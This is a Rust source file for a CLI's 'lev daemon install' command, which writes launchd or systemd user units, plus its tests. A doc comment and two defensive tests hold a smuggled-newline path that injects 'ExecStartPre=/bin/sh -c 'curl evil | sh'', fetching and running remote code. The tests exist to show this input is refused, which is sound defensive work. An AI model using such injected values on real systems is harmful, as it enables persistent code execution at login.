Skip to main content

leviath_cli/commands/
daemon_service.rs

1//! `lev daemon install` / `lev daemon uninstall` - hand the daemon to the OS
2//! supervisor so it comes back by itself after a crash.
3//!
4//! Without supervision, nothing restarts the daemon when it dies: a
5//! long-running agent simply stops, and the next `lev run` is the only thing
6//! that brings the daemon back. Registering a launchd agent (macOS) or a systemd *user*
7//! unit (Linux) with a restart policy closes that gap - and on the next start
8//! the daemon's own recovery pass reloads every interrupted run.
9//!
10//! This module is the tested core: rendering the unit file, resolving where it
11//! goes, writing/removing it, and building the activation command line. Running
12//! that command is real subprocess I/O and lives in the binary.
13//!
14//! Platform differences are `#[cfg]`-gated rather than branched at runtime, so
15//! each target compiles exactly the code it uses (and covers all of it).
16
17use std::path::{Path, PathBuf};
18
19use anyhow::{Context, Result};
20
21/// The reverse-DNS label both platforms key the service by.
22pub const SERVICE_LABEL: &str = "ai.sunforge.leviath";
23
24/// Where a supervised daemon's stdout/stderr are appended, under the leviath
25/// home directory. Only the platforms with a supervisor render a unit file.
26#[cfg(any(target_os = "macos", target_os = "linux"))]
27const LOG_FILE: &str = "daemon.log";
28
29/// A rendered service definition and where it belongs.
30#[derive(Debug, Clone, PartialEq, Eq)]
31pub struct ServiceUnit {
32    /// Absolute path the unit file is written to.
33    pub path: PathBuf,
34    /// The file's contents.
35    pub contents: String,
36    /// Command + args that tell the supervisor to pick it up.
37    pub activate: (String, Vec<String>),
38    /// Command + args that tell the supervisor to let it go.
39    pub deactivate: (String, Vec<String>),
40}
41
42// ── macOS: a launchd user agent ──────────────────────────────────────────────
43
44/// Build the service definition for this platform.
45///
46/// `exe` is the absolute path to the `lev` binary, `home` the leviath home
47/// directory (the unit points the daemon at it explicitly, since a supervised
48/// process inherits none of the user's shell environment), `config_home` the
49/// directory the unit file is written into, and `uid` the user's numeric id
50/// (launchd addresses per-user domains by it).
51#[cfg(target_os = "macos")]
52pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, uid: u32) -> Result<ServiceUnit> {
53    let path = config_home.join(format!("{SERVICE_LABEL}.plist"));
54    Ok(ServiceUnit {
55        contents: launchd_plist(exe, home, &home.join(LOG_FILE)),
56        activate: (
57            "launchctl".to_string(),
58            vec![
59                "bootstrap".to_string(),
60                format!("gui/{uid}"),
61                display(&path),
62            ],
63        ),
64        deactivate: (
65            "launchctl".to_string(),
66            vec!["bootout".to_string(), format!("gui/{uid}/{SERVICE_LABEL}")],
67        ),
68        path,
69    })
70}
71
72/// Where the unit file goes, relative to the user's home directory.
73#[cfg(target_os = "macos")]
74pub fn config_home(user_home: &Path) -> Result<PathBuf> {
75    Ok(user_home.join("Library").join("LaunchAgents"))
76}
77
78/// A launchd user agent that starts the daemon at login and restarts it
79/// whenever it exits - including the `abort()` this issue was about.
80#[cfg(target_os = "macos")]
81fn launchd_plist(exe: &Path, home: &Path, log: &Path) -> String {
82    format!(
83        r#"<?xml version="1.0" encoding="UTF-8"?>
84<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
85<plist version="1.0">
86<dict>
87    <key>Label</key>
88    <string>{label}</string>
89    <key>ProgramArguments</key>
90    <array>
91        <string>{exe}</string>
92        <string>daemon</string>
93    </array>
94    <key>EnvironmentVariables</key>
95    <dict>
96        <key>LEVIATH_HOME</key>
97        <string>{home}</string>
98    </dict>
99    <key>RunAtLoad</key>
100    <true/>
101    <key>KeepAlive</key>
102    <true/>
103    <key>ThrottleInterval</key>
104    <integer>10</integer>
105    <key>StandardOutPath</key>
106    <string>{log}</string>
107    <key>StandardErrorPath</key>
108    <string>{log}</string>
109</dict>
110</plist>
111"#,
112        label = SERVICE_LABEL,
113        exe = xml_escape(&display(exe)),
114        home = xml_escape(&display(home)),
115        log = xml_escape(&display(log)),
116    )
117}
118
119/// Escape the five XML metacharacters so an odd path can't break the plist.
120#[cfg(target_os = "macos")]
121fn xml_escape(s: &str) -> String {
122    let mut out = String::with_capacity(s.len());
123    for c in s.chars() {
124        match c {
125            '&' => out.push_str("&amp;"),
126            '<' => out.push_str("&lt;"),
127            '>' => out.push_str("&gt;"),
128            '"' => out.push_str("&quot;"),
129            '\'' => out.push_str("&apos;"),
130            _ => out.push(c),
131        }
132    }
133    out
134}
135
136// ── Linux: a systemd user unit ───────────────────────────────────────────────
137
138/// Build the service definition for this platform (see the macOS variant for
139/// the argument contract; `uid` is unused here - systemd's `--user` mode
140/// already addresses the calling user's manager).
141#[cfg(target_os = "linux")]
142pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, _uid: u32) -> Result<ServiceUnit> {
143    Ok(ServiceUnit {
144        path: config_home.join("leviath.service"),
145        contents: systemd_unit(exe, home, &home.join(LOG_FILE))?,
146        activate: (
147            "systemctl".to_string(),
148            vec![
149                "--user".to_string(),
150                "enable".to_string(),
151                "--now".to_string(),
152                "leviath.service".to_string(),
153            ],
154        ),
155        deactivate: (
156            "systemctl".to_string(),
157            vec![
158                "--user".to_string(),
159                "disable".to_string(),
160                "--now".to_string(),
161                "leviath.service".to_string(),
162            ],
163        ),
164    })
165}
166
167/// Where the unit file goes, relative to the user's home directory.
168#[cfg(target_os = "linux")]
169pub fn config_home(user_home: &Path) -> Result<PathBuf> {
170    Ok(user_home.join(".config").join("systemd").join("user"))
171}
172
173/// Reject a value that cannot be safely interpolated into a systemd unit file.
174///
175/// A unit file is line-oriented `Key=Value`, so a newline in an interpolated
176/// value starts a **new directive**. `home` derives from `LEVIATH_HOME`, so a
177/// value like `/tmp\nExecStartPre=/bin/sh -c 'curl evil | sh'` injected an
178/// arbitrary command that then ran at every login. The macOS plist path is
179/// XML-escaped and was never exposed to this; the systemd path had no escaping
180/// at all.
181///
182/// Refusing is right rather than escaping: systemd has no general quoting for
183/// this position, and no legitimate path contains a newline.
184///
185/// Not `#[cfg(target_os = "linux")]` even though only the Linux path calls it:
186/// it is pure string logic, and gating it would mean the check could only be
187/// exercised on one platform's CI runner. A security control should be testable
188/// wherever the tests run.
189///
190/// `pub` (in an already-public module) rather than private-plus-`allow(dead_code)`:
191/// on a non-Linux build nothing calls it, and suppressing the warning would be
192/// hiding the fact rather than stating it. It is genuinely part of this module's
193/// surface - the systemd renderer's input contract.
194pub fn unit_safe(label: &str, value: &Path) -> Result<String> {
195    let s = display(value);
196    if s.contains('\n') || s.contains('\r') {
197        anyhow::bail!(
198            "refusing to write a systemd unit: the {label} path contains a newline, \
199             which would inject additional unit directives"
200        );
201    }
202    Ok(s)
203}
204
205/// A systemd *user* unit (no root needed) with the same restart policy.
206///
207/// Compiled on every platform (it is pure string assembly) so its tests run
208/// everywhere; only the caller that installs it is Linux-gated.
209pub fn systemd_unit(exe: &Path, home: &Path, log: &Path) -> Result<String> {
210    let exe = unit_safe("executable", exe)?;
211    let home = unit_safe("LEVIATH_HOME", home)?;
212    let log = unit_safe("log", log)?;
213    Ok(format!(
214        "[Unit]\n\
215         Description=Leviath shared-world agent daemon\n\
216         After=network-online.target\n\
217         \n\
218         [Service]\n\
219         Type=simple\n\
220         ExecStart={exe} daemon\n\
221         Environment=LEVIATH_HOME={home}\n\
222         Restart=always\n\
223         RestartSec=10\n\
224         StandardOutput=append:{log}\n\
225         StandardError=append:{log}\n\
226         \n\
227         [Install]\n\
228         WantedBy=default.target\n",
229    ))
230}
231
232// ── Everywhere else: no supported user-level supervisor ──────────────────────
233
234/// The error shown on a platform with no supported user-level supervisor.
235#[cfg(not(any(target_os = "macos", target_os = "linux")))]
236const UNSUPPORTED: &str = "`lev daemon install` supports macOS (launchd) and Linux (systemd user \
237                           units); on this platform, start `lev daemon` from your own login script";
238
239/// No user-level supervisor is wired up for this platform.
240#[cfg(not(any(target_os = "macos", target_os = "linux")))]
241pub fn service_unit(
242    _exe: &Path,
243    _home: &Path,
244    _config_home: &Path,
245    _uid: u32,
246) -> Result<ServiceUnit> {
247    anyhow::bail!(UNSUPPORTED)
248}
249
250/// No user-level supervisor is wired up for this platform.
251#[cfg(not(any(target_os = "macos", target_os = "linux")))]
252pub fn config_home(_user_home: &Path) -> Result<PathBuf> {
253    anyhow::bail!(UNSUPPORTED)
254}
255
256// ── Platform-independent ─────────────────────────────────────────────────────
257
258/// Write `unit` to disk, creating its parent directory. Returns the path.
259pub fn install(unit: &ServiceUnit) -> Result<&Path> {
260    if let Some(parent) = unit.path.parent() {
261        std::fs::create_dir_all(parent)
262            .with_context(|| format!("creating {}", parent.display()))?;
263    }
264    std::fs::write(&unit.path, &unit.contents)
265        .with_context(|| format!("writing {}", unit.path.display()))?;
266    Ok(&unit.path)
267}
268
269/// Remove the unit file. Returns whether there was one to remove.
270pub fn uninstall(unit: &ServiceUnit) -> Result<bool> {
271    match std::fs::remove_file(&unit.path) {
272        Ok(()) => Ok(true),
273        Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(false),
274        Err(e) => Err(e).with_context(|| format!("removing {}", unit.path.display())),
275    }
276}
277
278/// The line `lev daemon status` adds about supervision.
279pub fn format_supervision(installed: bool, path: &Path) -> String {
280    if installed {
281        format!("supervised: yes ({})", path.display())
282    } else {
283        "supervised: no (`lev daemon install` restarts it automatically)".to_string()
284    }
285}
286
287/// A path as a string, lossily - these are user home paths, valid UTF-8 in
288/// every case that matters, and a lossy rendering beats failing.
289///
290/// Not gated to the platforms with a supervisor, even though only they build a
291/// unit file: `unit_safe` is unconditional (see its own note), and a helper it
292/// calls cannot be narrower than its caller. Gating it broke the Windows build
293/// outright.
294fn display(path: &Path) -> String {
295    path.to_string_lossy().into_owned()
296}
297
298#[cfg(test)]
299mod tests {
300    use super::*;
301
302    /// A unit that needs no platform support to construct, for the shared
303    /// filesystem helpers.
304    fn bare_unit(path: PathBuf) -> ServiceUnit {
305        ServiceUnit {
306            path,
307            contents: "unit body\n".to_string(),
308            activate: ("sup".to_string(), vec!["on".to_string()]),
309            deactivate: ("sup".to_string(), vec!["off".to_string()]),
310        }
311    }
312
313    #[test]
314    fn install_writes_then_uninstall_removes_exactly_once() {
315        let dir = tempfile::tempdir().unwrap();
316        let unit = bare_unit(dir.path().join("nested").join("leviath.unit"));
317
318        let written = install(&unit).unwrap().to_path_buf();
319        assert_eq!(std::fs::read_to_string(&written).unwrap(), unit.contents);
320        assert!(uninstall(&unit).unwrap(), "first removal reports a removal");
321        assert!(
322            !uninstall(&unit).unwrap(),
323            "second is a no-op, not an error"
324        );
325    }
326
327    #[test]
328    fn install_and_uninstall_surface_io_errors() {
329        let dir = tempfile::tempdir().unwrap();
330        // A file where the parent directory should be ⇒ create_dir_all fails.
331        let blocker = dir.path().join("blocker");
332        std::fs::write(&blocker, "x").unwrap();
333        assert!(install(&bare_unit(blocker.join("child").join("unit"))).is_err());
334
335        // A *directory* where the unit file should be: the parent exists, so
336        // create_dir_all succeeds and the write itself is what fails.
337        let occupied = dir.path().join("occupied");
338        std::fs::create_dir(&occupied).unwrap();
339        assert!(install(&bare_unit(occupied.clone())).is_err());
340
341        // Removing a directory as if it were the unit file is a real error,
342        // distinct from "there was nothing to remove".
343        assert!(uninstall(&bare_unit(occupied)).is_err());
344
345        // A path with no parent directory to create (the `if let` falls through
346        // straight to the write, which then fails on the empty path).
347        assert!(install(&bare_unit(PathBuf::new())).is_err());
348    }
349
350    #[test]
351    fn supervision_status_reads_both_ways() {
352        let path = Path::new("/home/u/unit");
353        assert!(format_supervision(true, path).contains("yes"));
354        assert!(format_supervision(true, path).contains("/home/u/unit"));
355        assert!(format_supervision(false, path).contains("no"));
356    }
357
358    // ── Platforms with a supervisor ──────────────────────────────────────────
359
360    #[cfg(any(target_os = "macos", target_os = "linux"))]
361    mod supported {
362        use super::*;
363
364        fn unit() -> ServiceUnit {
365            service_unit(
366                Path::new("/usr/local/bin/lev"),
367                Path::new("/home/u/.leviath"),
368                Path::new("/tmp/lev-units"),
369                501,
370            )
371            .expect("this platform has a supervisor")
372        }
373
374        #[test]
375        fn the_unit_restarts_the_daemon_and_points_it_at_the_leviath_home() {
376            let u = unit();
377            assert!(u.contents.contains("/usr/local/bin/lev"));
378            assert!(u.contents.contains("/home/u/.leviath"));
379            assert!(u.contents.contains(LOG_FILE));
380            // Activation and deactivation drive the same supervisor.
381            assert_eq!(u.activate.0, u.deactivate.0);
382            assert!(!u.activate.1.is_empty() && !u.deactivate.1.is_empty());
383            assert!(u.path.starts_with("/tmp/lev-units"));
384            // The unit file lives under the user's home.
385            let home = config_home(Path::new("/home/u")).expect("this platform has a supervisor");
386            assert!(home.starts_with("/home/u"));
387        }
388    }
389
390    #[cfg(target_os = "macos")]
391    mod macos {
392        use super::*;
393
394        #[test]
395        fn paths_with_xml_metacharacters_are_escaped() {
396            assert_eq!(
397                xml_escape("a&b<c>d\"e'f"),
398                "a&amp;b&lt;c&gt;d&quot;e&apos;f"
399            );
400            assert_eq!(xml_escape("plain/path"), "plain/path");
401        }
402
403        #[test]
404        fn it_is_a_launchd_plist_bootstrapped_into_the_gui_domain() {
405            let u = service_unit(
406                Path::new("/usr/local/bin/lev"),
407                Path::new("/home/u/.leviath"),
408                Path::new("/tmp/lev-units"),
409                501,
410            )
411            .unwrap();
412            assert_eq!(
413                u.path.file_name().unwrap().to_string_lossy(),
414                format!("{SERVICE_LABEL}.plist")
415            );
416            assert_eq!(u.activate.1[0], "bootstrap");
417            assert_eq!(u.activate.1[1], "gui/501");
418            assert_eq!(u.deactivate.1[1], format!("gui/501/{SERVICE_LABEL}"));
419            // The whole point: launchd brings the daemon back after a crash.
420            assert!(u.contents.contains("<key>KeepAlive</key>"));
421            assert!(u.contents.contains("<key>RunAtLoad</key>"));
422            assert!(
423                config_home(Path::new("/home/u"))
424                    .unwrap()
425                    .ends_with("LaunchAgents")
426            );
427        }
428    }
429
430    #[cfg(target_os = "linux")]
431    mod linux {
432        use super::*;
433
434        #[test]
435        fn it_is_a_systemd_user_unit_enabled_for_the_calling_user() {
436            let u = service_unit(
437                Path::new("/usr/local/bin/lev"),
438                Path::new("/home/u/.leviath"),
439                Path::new("/tmp/lev-units"),
440                501,
441            )
442            .unwrap();
443            assert_eq!(u.path.file_name().unwrap(), "leviath.service");
444            assert_eq!(
445                u.activate.1,
446                ["--user", "enable", "--now", "leviath.service"]
447            );
448            assert_eq!(
449                u.deactivate.1,
450                ["--user", "disable", "--now", "leviath.service"]
451            );
452            // The whole point: systemd brings the daemon back after a crash.
453            assert!(u.contents.contains("Restart=always"));
454            assert!(u.contents.contains("WantedBy=default.target"));
455            assert!(config_home(Path::new("/home/u")).unwrap().ends_with("user"));
456        }
457
458        /// The refusal has to be reachable through `service_unit`, not only
459        /// through `systemd_unit` directly: this is the Linux-only call site,
460        /// and `LEVIATH_HOME` is the value an attacker controls.
461        ///
462        /// It needs its own test because the propagation only exists on Linux -
463        /// on macOS this function is not compiled, so a macOS-only coverage run
464        /// cannot see the arm at all. That is exactly how it was missed.
465        #[test]
466        fn a_newline_in_leviath_home_is_refused_at_the_call_site() {
467            let err = service_unit(
468                Path::new("/usr/local/bin/lev"),
469                Path::new("/tmp/x\nExecStartPre=/bin/sh -c 'curl evil | sh'"),
470                Path::new("/tmp/lev-units"),
471                501,
472            )
473            .expect_err("a newline in the home path must not reach the unit file");
474            assert!(err.to_string().contains("LEVIATH_HOME"), "{err}");
475        }
476    }
477
478    /// The systemd unit builder is pure string assembly, so these run on every
479    /// platform rather than only on a Linux CI runner.
480    mod systemd_unit_file {
481        use super::*;
482
483        #[test]
484        fn display_renders_a_path_losslessly_when_it_can() {
485            assert_eq!(display(Path::new("/a/b")), "/a/b");
486        }
487
488        #[test]
489        fn it_renders_the_expected_directives() {
490            let unit = systemd_unit(
491                Path::new("/usr/local/bin/lev"),
492                Path::new("/home/u/.leviath"),
493                Path::new("/home/u/.leviath/daemon.log"),
494            )
495            .unwrap();
496            assert!(unit.contains("ExecStart=/usr/local/bin/lev daemon"));
497            assert!(unit.contains("Environment=LEVIATH_HOME=/home/u/.leviath"));
498            assert!(unit.contains("Restart=always"));
499        }
500
501        /// A unit file is line-oriented `Key=Value`, so a newline in an
502        /// interpolated path starts a new *directive*. `home` derives from
503        /// `LEVIATH_HOME`, so this wrote an `ExecStartPre=` that then ran at
504        /// every login. There is no general quoting for this position in
505        /// systemd, so the value is refused rather than escaped - and no
506        /// legitimate path contains a newline.
507        #[test]
508        fn a_newline_in_an_interpolated_path_is_refused() {
509            let evil = Path::new("/home/u/.leviath\nExecStartPre=/bin/sh -c 'curl evil | sh'");
510            let err = systemd_unit(
511                Path::new("/usr/local/bin/lev"),
512                evil,
513                Path::new("/home/u/.leviath/daemon.log"),
514            )
515            .expect_err("a newline in LEVIATH_HOME must be refused");
516            assert!(err.to_string().contains("newline"), "got: {err}");
517            assert!(err.to_string().contains("LEVIATH_HOME"), "got: {err}");
518        }
519
520        /// Each interpolated position is checked, not just the first.
521        #[test]
522        fn every_interpolated_path_is_checked() {
523            let evil = Path::new("/x\nExecStartPre=/bin/false");
524            let good = Path::new("/home/u/.leviath");
525            assert!(systemd_unit(evil, good, good).is_err(), "executable");
526            assert!(systemd_unit(good, evil, good).is_err(), "home");
527            assert!(systemd_unit(good, good, evil).is_err(), "log");
528        }
529
530        /// A carriage return is a line break too - systemd tolerates CRLF.
531        #[test]
532        fn a_carriage_return_is_refused_too() {
533            assert!(
534                systemd_unit(
535                    Path::new("/usr/local/bin/lev"),
536                    Path::new("/home/u/.leviath\rExecStartPre=/bin/false"),
537                    Path::new("/home/u/.leviath/daemon.log"),
538                )
539                .is_err()
540            );
541        }
542    }
543
544    // ── Platforms without one ────────────────────────────────────────────────
545
546    #[cfg(not(any(target_os = "macos", target_os = "linux")))]
547    mod unsupported {
548        use super::*;
549
550        #[test]
551        fn install_is_refused_with_an_actionable_message() {
552            let err = service_unit(
553                Path::new("lev.exe"),
554                Path::new("home"),
555                Path::new("units"),
556                0,
557            )
558            .unwrap_err()
559            .to_string();
560            assert!(err.contains("macOS"), "got: {err}");
561            assert!(err.contains("lev daemon"), "got: {err}");
562            assert!(config_home(Path::new("home")).is_err());
563        }
564    }
565}